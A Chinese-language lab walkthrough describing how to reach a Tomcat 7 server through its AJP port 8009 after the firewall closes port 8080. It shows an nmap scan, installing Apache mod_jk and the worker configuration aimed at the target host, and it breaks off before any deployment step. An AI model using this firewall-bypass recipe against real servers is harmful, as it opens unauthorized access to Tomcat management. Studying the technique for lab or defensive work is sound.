Tomcat在安装的时候会有下面的界面,我们通常部署war,用的最多的是默认的8080端口。
可是当8080端口被防火墙封闭的时候,是否还有办法利用呢? 答案是可以的,可以通过AJP的8009端口,下面是step by step。 图片:2013111512070655523.png 下面是实验环境: 192.168.0.102 装有Tomcat 7的虚拟主机,防火墙封闭8080端口192.168.0.103 装有BT5系统的渗透主机首先nmap扫描,发现8009端口开放 BT5默认apache2是安装的,我们仅需要安装mod-jk #!shellroot@mickey:~# apt-get install libapache2-mod-jkjk.conf的配置文件如下: #!shellroot@mickey:/etc/apache2/mods-available# cat jk.conf # Update this path to match your conf directory locationJkWorkersFile /etc/apache2/jk_workers.properties# Where to put jk logs# Update this path to match your logs directory locationJkLogFile /var/log/apache2/mod_jk.log# Set the jk log level [debug/error/info]JkLogLevel info# Select the log formatJkLogStampFormat "[%a %b %d %H:%M:%S %Y]"# JkOptions indicate to send SSL KEY SIZE,JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories# JkRequestLogFormat set the request formatJkRequestLogFormat "%w %V %T"# Shm log fileJkShmFile /var/log/apache2/jk-runtime-statusjk.conf软连接到/etc/apache2/mods-enabled/目录 #!shellln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf配置 jk_workers.properties #!shellroot@mickey:/etc/apache2# cat jk_workers.properties worker.list=ajp13# Set properties for worker named ajp13 to use ajp13 protocol,# and run on port 8009worker.ajp13.type=ajp13worker.ajp13.host=192.168.0.102 |
|